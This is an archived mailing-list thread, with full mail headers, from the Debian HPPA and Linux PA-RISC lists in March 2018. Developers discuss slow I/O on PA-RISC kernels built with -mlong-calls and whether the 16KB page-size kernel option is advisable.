	for <debian-hppa@lists.debian.org>; Fri, 16 Mar 2018 17:29:38 +0000 (UTC)
Original-Received: by mail-io0-x22d.google.com with SMTP id h23so13498390iob.11
        for <debian-hppa@lists.debian.org>; Fri, 16 Mar 2018 10:29:37 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=yz4A9B1QcZnmQS00Cskjvzvh5Q0HihpM/GlIXPQTQVo=;
        b=eGXxfHhzIJC3cbtaoSYhOSzHoDeuMhSwHQH+aPgjaFfU75EzJ244R9YX89JF+AEqJk
         y1FdS3FVnQ5a8eldaqzxEovkEaxAbuhU/ghYLSL0uZU796Qp0KwZGZeZl0oKwBifebMP
         PTFd9NPVgq51OreOvtvCjRQbFbAHXtpRFrT/fmoePVMAyLSnPGu8gz35BiuoVwlYcgA3
         3URs5yJ9dYP4OlnKpA2aki190ZqX5CgqSj/gEXJWBFlP9RrGyEgyvRJsNtHQ6RFhHm/0
         YsB0PlnAf4ebTMS4lAtn5m235GJtI9YA4FOeZ9opFKJ9m92nWfcNa553V9fFjlAjmFTi
         2dwA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=yz4A9B1QcZnmQS00Cskjvzvh5Q0HihpM/GlIXPQTQVo=;
        b=fK7xXDTZfrn48uDetKWYo4xNktE5lysyW5iWJYj8z5fwKRlUwbTAJKMYe9kYHWXQxC
         B82XWQJ2Yh/HkXcdU+9/D2ojza8qPUSdJNwTyL/c+9Se5xdP/vwyg6KYEWDHjka3Vuhi
         iXgr977lWLfheINLTShi73BR9n+EKt4yjK0+RjJ5hOrBaxrUPja5tSmNAOWaQ7u4ZfHB
         UkFEROmosWiu59DWFijw3cb/0ZUXV9+5KHPrHZ9/GQCa9PfQWLU/f53TrVQtTwB2vx+L
         v+ofPLkrF7D3HEUJtt8j6zvHbHTokSbOA1cn0N1HN1JFTM83QHrggdx9sw/UOKj7X9lu
         5HHQ==
X-Gm-Message-State: AElRT7Hn6U0WNX8GW6JQmhy0PXKBvcRkwuH+B4z6ZPZv/WhQb6VdT/Jt
	Z3W2Zn6vJDGTPeNY/Q7YxFrEKaZGrzZc0j4twIQ=
X-Google-Smtp-Source: AG47ELt7g5+nQwCSs8wIp2r43Fg5KS4CwLZJEaQP9gDCZMj1TMpboNj4k5Z6xGShLn+bKB1kz2KYBL5Hu7+7bH7fxsU=
X-Received: by 10.107.2.7 with SMTP id 7mr2781398ioc.187.1521221374383; Fri,
 16 Mar 2018 10:29:34 -0700 (PDT)
Original-Received: by 10.2.168.15 with HTTP; Fri, 16 Mar 2018 10:29:13 -0700 (PDT)
In-Reply-To: <trinity-f7583046-4aa6-488a-a797-20501118a1c0-1521199558775@3c-app-gmx-bs75>
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <HtEL5WHwa8E.A.vzD.S8_qaB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8670
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/CAEdQ38Fr1yy6Q5a2jkcO_SUCYYh0URtW6CY=D0zxHp0K4W19eA@mail.gmail.com
Resent-Date: Fri, 16 Mar 2018 17:29:54 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7686 gmane.linux.ports.parisc:28332
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7686>

On Fri, Mar 16, 2018 at 4:25 AM, Helge Deller <deller@gmx.de> wrote:
>> >> kernel  gcc     binutils    with mlong    without mlong
>> >> 4.15.7  4.9.3   2.25.1     13.4 MB/s    27.0 MB/s
>> >> 4.15.7  6.4.0   2.25.1     13.4 MB/s    27.0 MB/s
>> >> 4.15.7  6.4.0   2.29.1     14.4 MB/s    25.0 MB/s
>> > Interesting bad results!
>> >
>> It's hard to understand why the performance would deteriorate so much
>> but I see essentially the same behavior.
>
> Speaking of debian kernel, it's nearly impossible to link a kernel without mlong-calls.

This week I succeeded in building a stripped-down kernel without
mlong-calls (in Gentoo), but was unable to get anything to link
without mlong-calls when CONFIG_PARISC_PAGE_SIZE_16KB=y.

With mlong-calls, I couldn't get a 16K page-size kernel to boot
either. Is this a configuration anyone uses or tests? 16K pages are
supposed to give better performance, so it'd be good if they worked.



From - Thu Nov 08 21:41:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: C3600 kernel/64bit 4.* slow IO due to -mlong-calls
Date: Fri, 16 Mar 2018 13:44:04 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <7168081c-5f62-6632-ca1c-2f374dacca17@bell.net>
References: <CA+QBN9C=wHxV5Y=SSt2UB_4b1H_Nx1mZxZu3rvuTY2wRe=GWBw@mail.gmail.com>
 <d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de>
 <113ad157-e8c3-81dc-5752-75416c8ce531@bell.net>
 <trinity-f7583046-4aa6-488a-a797-20501118a1c0-1521199558775@3c-app-gmx-bs75>
 <CAEdQ38Fr1yy6Q5a2jkcO_SUCYYh0URtW6CY=D0zxHp0K4W19eA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1521222151 30373 195.159.176.226 (16 Mar 2018 17:42:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 16 Mar 2018 17:42:31 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: debian-hppa@lists.debian.org, linux-parisc <linux-parisc@vger.kernel.org>
To: Matt Turner <mattst88@gmail.com>, Helge Deller <deller@gmx.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Fri Mar 16 18:42:27 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ewtN4-0007le-OZ
	for debian-hppa@m.gmane.org; Fri, 16 Mar 2018 18:42:26 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 2AE934E; Fri, 16 Mar 2018 17:44:25 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Fri Mar 16 17:44:23 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 8B9D74A
	for <lists-debian-hppa@bendel.debian.org>; Fri, 16 Mar 2018 17:44:13 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.709 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, LDO_WHITELIST=-5, RCVD_IN_DNSWL_LOW=-0.7,
	T_RP_MATCHES_RCVD=-0.01, UNPARSEABLE_RELAY=0.001]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 3-hhkY4GSBFn for <lists-debian-hppa@bendel.debian.org>;
	Fri, 16 Mar 2018 17:44:08 +0000 (UTC)
Original-Received: from mtlfep02.bell.net (belmont80srvr.owm.bell.net [184.150.200.80])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id CDD954E
	for <debian-hppa@lists.debian.org>; Fri, 16 Mar 2018 17:44:07 +0000 (UTC)
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20180316174404.GBJV4484.mtlfep02.bell.net@mtlspm02.bell.net>
          for <debian-hppa@lists.debian.org>;
          Fri, 16 Mar 2018 13:44:04 -0400
Original-Received: from [192.168.0.138] (really [69.156.4.250]) by mtlspm02.bell.net
          with ESMTP
          id <20180316174404.EEAC6415.mtlspm02.bell.net@[192.168.0.138]>;
          Fri, 16 Mar 2018 13:44:04 -0400
In-Reply-To: <CAEdQ38Fr1yy6Q5a2jkcO_SUCYYh0URtW6CY=D0zxHp0K4W19eA@mail.gmail.com>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=OZx3NlbY c=1 sm=0 tr=0 a=vinXicB1gmUT9HjaLy2a9Q==:17 a=IkcTkHD0fZMA:10 a=v2DPQv5-lfwA:10 a=FBHGMhGWAAAA:8 a=OGrWzswLi-4V2niKV1QA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <2B3pYOgtx6M.A.A_F.3JAraB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8671
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/7168081c-5f62-6632-ca1c-2f374dacca17@bell.net
Resent-Date: Fri, 16 Mar 2018 17:44:25 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7687 gmane.linux.ports.parisc:28333
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7687>

On 2018-03-16 1:29 PM, Matt Turner wrote:
> This week I succeeded in building a stripped-down kernel without
> mlong-calls (in Gentoo), but was unable to get anything to link
> without mlong-calls when CONFIG_PARISC_PAGE_SIZE_16KB=y.
>
I wouldn't recommend the above option.  It affects alignment of some 
things in kernel
and as you found it makes the kernel bigger.  There are also some things 
in userspace
that assume 4KB pages.

Dave


From - Thu Nov 08 21:41:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: C3600 kernel/64bit 4.* slow IO due to -mlong-calls
Date: Fri, 16 Mar 2018 10:58:40 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <CAEdQ38HCbZ3Rw2KCNRpBOqjeUciP3_cnw67mAvPD3OZx24zFNw@mail.gmail.com>
References: <CA+QBN9C=wHxV5Y=SSt2UB_4b1H_Nx1mZxZu3rvuTY2wRe=GWBw@mail.gmail.com>
 <d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de> <113ad157-e8c3-81dc-5752-75416c8ce531@bell.net>
 <trinity-f7583046-4aa6-488a-a797-20501118a1c0-1521199558775@3c-app-gmx-bs75>
 <CAEdQ38Fr1yy6Q5a2jkcO_SUCYYh0URtW6CY=D0zxHp0K4W19eA@mail.gmail.com> <7168081c-5f62-6632-ca1c-2f374dacca17@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1521223035 28533 195.159.176.226 (16 Mar 2018 17:57:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 16 Mar 2018 17:57:15 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org, 
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Fri Mar 16 18:57:11 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ewtbK-0007LA-TY
	for debian-hppa@m.gmane.org; Fri, 16 Mar 2018 18:57:10 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 26C545E; Fri, 16 Mar 2018 17:59:18 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Fri Mar 16 17:59:18 2018
Old-Return-Path: <mattst88@gmail.com>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 8925F4A
	for <lists-debian-hppa@bendel.debian.org>; Fri, 16 Mar 2018 17:59:09 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.549 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DKIM_SIGNED=0.1, DKIM_VALID=-0.1,
	DKIM_VALID_AU=-0.1, FREEMAIL_ENVFROM_END_DIGIT=0.25,
	FREEMAIL_FROM=0.001, LDO_WHITELIST=-5, RCVD_IN_DNSWL_LOW=-0.7]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id hUCk965dMwww for <lists-debian-hppa@bendel.debian.org>;
	Fri, 16 Mar 2018 17:59:04 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mail-it0-x22c.google.com (mail-it0-x22c.google.com [IPv6:2607:f8b0:4001:c0b::22c])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 6F8142D
	for <debian-hppa@lists.debian.org>; Fri, 16 Mar 2018 17:59:04 +0000 (UTC)
Original-Received: by mail-it0-x22c.google.com with SMTP id y20-v6so3078914itc.5
        for <debian-hppa@lists.debian.org>; Fri, 16 Mar 2018 10:59:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=0pLr4djFuCekkH9VfJlpE/UrdgMrTEjnKJq2LbSWDtc=;
        b=E7vIE7Zf6pJdxs/c2MzWS8ylGtRzlppARl4aeQk1KYM+pconk3T3aUx9h1SOLHwRlg
         vG6uGadbMVmW6tN3T3WaLqC1/M1AUptBkR2ERtOyVpj0WBeVGuMrDP2SYJn6TFMaxtjb
         DG9bBUhAKmPTmj7TlIvMOLnmw8BmBN5mVuk616Z70OO8bW9EvRP50PyuQee/GcwuzJdB
         qrofnuY2bSToBMnVkx0wYf4LM3GhQuUZrEApWP9ko2tu58yWbdZhsR3izEcaeIYYqeRD
         NAosJ3jZrSoRwpyzXHKC/dLm32rG2TErfwmqoK/9WCJjFuAuCFzokkopU+2TneQEhNxa
         cTqA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=0pLr4djFuCekkH9VfJlpE/UrdgMrTEjnKJq2LbSWDtc=;
        b=VoJcM658YebZ6UuZ/3ccHTOSwOLn2mvrBSxNTDsxTo1XJ1xWFDEYcUA381uxbpHEVF
         W5m/GXWCfmgyoFgCsy5p4t1G0QA+AhzUqeMCmCTn8MhaVH/Il4jrbSSRrAO/8NSYN18b
         KmA9lLpvXEuZdnVNhUz9KFYu7Q8EVc4HClJTFaYTvR20w4js6u5SC++pAVD8+POkb9SN
         GswISiUidsJkX5GBdob5c1tiFXKqiVQmen4tW1xrFH0pA5kSz5PReU2nlHwT7Jrxs5lC
         S503rVFv2EzmU1kuz1LiIq8r3XN+uIb3gVvkJfUzfGRIrJv1nBmMTL3be+iFAA0ufi9J
         yX2A==
X-Gm-Message-State: AElRT7GfLMmUGMtltjo+XmphBiaKLMZkzWbEKr1qlnhUfN6LoYy7NUOa
	69Ycv57sLCqIt5S8YLS8cfWKlVMb6yvpX/pMVXM=
X-Google-Smtp-Source: AG47ELuwI//jUPN+Fa/ieHAXS+9YHrxedkUnEoM/GQtIoDT9u5YnMf5lGFHBIacQDs6bJ9SCVYK0LEznOGOAlyxyo1Y=
X-Received: by 2002:a24:cf03:: with SMTP id y3-v6mr3352235itf.5.1521223140967;
 Fri, 16 Mar 2018 10:59:00 -0700 (PDT)
Original-Received: by 10.2.168.15 with HTTP; Fri, 16 Mar 2018 10:58:40 -0700 (PDT)
In-Reply-To: <7168081c-5f62-6632-ca1c-2f374dacca17@bell.net>
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <ttodY0XtKH.A.41H.1XAraB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8672
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/CAEdQ38HCbZ3Rw2KCNRpBOqjeUciP3_cnw67mAvPD3OZx24zFNw@mail.gmail.com
Resent-Date: Fri, 16 Mar 2018 17:59:18 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7688 gmane.linux.ports.parisc:28334
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7688>

On Fri, Mar 16, 2018 at 10:44 AM, John David Anglin
<dave.anglin@bell.net> wrote:
> On 2018-03-16 1:29 PM, Matt Turner wrote:
>>
>> This week I succeeded in building a stripped-down kernel without
>> mlong-calls (in Gentoo), but was unable to get anything to link
>> without mlong-calls when CONFIG_PARISC_PAGE_SIZE_16KB=y.
>>
> I wouldn't recommend the above option.  It affects alignment of some things
> in kernel
> and as you found it makes the kernel bigger.  There are also some things in
> userspace
> that assume 4KB pages.

I expect we're past the point where there are any significant
obstacles to userspace support. Most platforms successfully support
multiple page sizes these days.



From - Thu Nov 08 21:41:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: C3600 kernel/64bit 4.* slow IO due to -mlong-calls
Date: Fri, 16 Mar 2018 14:03:14 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <25172070-e33d-bd4e-feb7-fc24acdffa72@bell.net>
References: <CA+QBN9C=wHxV5Y=SSt2UB_4b1H_Nx1mZxZu3rvuTY2wRe=GWBw@mail.gmail.com>
 <d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de>
 <113ad157-e8c3-81dc-5752-75416c8ce531@bell.net>
 <trinity-f7583046-4aa6-488a-a797-20501118a1c0-1521199558775@3c-app-gmx-bs75>
 <CAEdQ38Fr1yy6Q5a2jkcO_SUCYYh0URtW6CY=D0zxHp0K4W19eA@mail.gmail.com>
 <7168081c-5f62-6632-ca1c-2f374dacca17@bell.net>
 <CAEdQ38HCbZ3Rw2KCNRpBOqjeUciP3_cnw67mAvPD3OZx24zFNw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521223289 13416 195.159.176.226 (16 Mar 2018 18:01:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 16 Mar 2018 18:01:29 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org,
 linux-parisc <linux-parisc@vger.kernel.org>
To: Matt Turner <mattst88@gmail.com>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Fri Mar 16 19:01:24 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ewtfQ-0003ND-5X
	for debian-hppa@m.gmane.org; Fri, 16 Mar 2018 19:01:24 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 854A363; Fri, 16 Mar 2018 18:03:31 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Fri Mar 16 18:03:31 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 21F6C5E
	for <lists-debian-hppa@bendel.debian.org>; Fri, 16 Mar 2018 18:03:23 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.709 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, LDO_WHITELIST=-5, RCVD_IN_DNSWL_LOW=-0.7,
	T_RP_MATCHES_RCVD=-0.01, UNPARSEABLE_RELAY=0.001]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id IRWz0D6yKXb3 for <lists-debian-hppa@bendel.debian.org>;
	Fri, 16 Mar 2018 18:03:18 +0000 (UTC)
Original-Received: from torfep01.bell.net (simcoe207srvr.owm.bell.net [184.150.200.207])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id DA54F4E
	for <debian-hppa@lists.debian.org>; Fri, 16 Mar 2018 18:03:17 +0000 (UTC)
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20180316180314.PRXE3030.torfep01.bell.net@torspm01.bell.net>
          for <debian-hppa@lists.debian.org>;
          Fri, 16 Mar 2018 14:03:14 -0400
Original-Received: from [192.168.0.138] (really [69.156.4.250]) by torspm01.bell.net
          with ESMTP
          id <20180316180314.JANA26298.torspm01.bell.net@[192.168.0.138]>;
          Fri, 16 Mar 2018 14:03:14 -0400
In-Reply-To: <CAEdQ38HCbZ3Rw2KCNRpBOqjeUciP3_cnw67mAvPD3OZx24zFNw@mail.gmail.com>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=JtkelIwC c=1 sm=0 tr=0 a=vinXicB1gmUT9HjaLy2a9Q==:17 a=IkcTkHD0fZMA:10 a=v2DPQv5-lfwA:10 a=FBHGMhGWAAAA:8 a=DMfiSjaM8aUB4i85xiMA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <xUuNscb-TnP.A.84C.zbAraB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8673
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/25172070-e33d-bd4e-feb7-fc24acdffa72@bell.net
Resent-Date: Fri, 16 Mar 2018 18:03:31 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7689 gmane.linux.ports.parisc:28335
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7689>

On 2018-03-16 1:58 PM, Matt Turner wrote:
> On Fri, Mar 16, 2018 at 10:44 AM, John David Anglin
> <dave.anglin@bell.net> wrote:
>> On 2018-03-16 1:29 PM, Matt Turner wrote:
>>> This week I succeeded in building a stripped-down kernel without
>>> mlong-calls (in Gentoo), but was unable to get anything to link
>>> without mlong-calls when CONFIG_PARISC_PAGE_SIZE_16KB=y.
>>>
>> I wouldn't recommend the above option.  It affects alignment of some things
>> in kernel
>> and as you found it makes the kernel bigger.  There are also some things in
>> userspace
>> that assume 4KB pages.
> I expect we're past the point where there are any significant
> obstacles to userspace support. Most platforms successfully support
> multiple page sizes these days.
>
But they don't have the problem we do with non equivalent aliasing. The 
data section starts on a
page boundary on parisc and it doesn't overlap text.

Dave


From - Thu Nov 08 21:41:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: C3600 kernel/64bit 4.* slow IO due to -mlong-calls
Date: Fri, 16 Mar 2018 20:50:33 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <255e5ebc-4178-2969-9f15-953188108810@gmx.de>
References: <CA+QBN9C=wHxV5Y=SSt2UB_4b1H_Nx1mZxZu3rvuTY2wRe=GWBw@mail.gmail.com>
 <d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de>
 <113ad157-e8c3-81dc-5752-75416c8ce531@bell.net>
 <trinity-f7583046-4aa6-488a-a797-20501118a1c0-1521199558775@3c-app-gmx-bs75>
 <CAEdQ38Fr1yy6Q5a2jkcO_SUCYYh0URtW6CY=D0zxHp0K4W19eA@mail.gmail.com>
 <7168081c-5f62-6632-ca1c-2f374dacca17@bell.net>
 <CAEdQ38HCbZ3Rw2KCNRpBOqjeUciP3_cnw67mAvPD3OZx24zFNw@mail.gmail.com>
 <25172070-e33d-bd4e-feb7-fc24acdffa72@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1521229947 7607 195.159.176.226 (16 Mar 2018 19:52:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 16 Mar 2018 19:52:27 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: debian-hppa@lists.debian.org, linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>, Matt Turner <mattst88@gmail.com>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Fri Mar 16 20:52:23 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ewvOp-0001tq-3Q
	for debian-hppa@m.gmane.org; Fri, 16 Mar 2018 20:52:23 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 2E7ED9B; Fri, 16 Mar 2018 19:54:28 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Fri Mar 16 19:54:28 2018
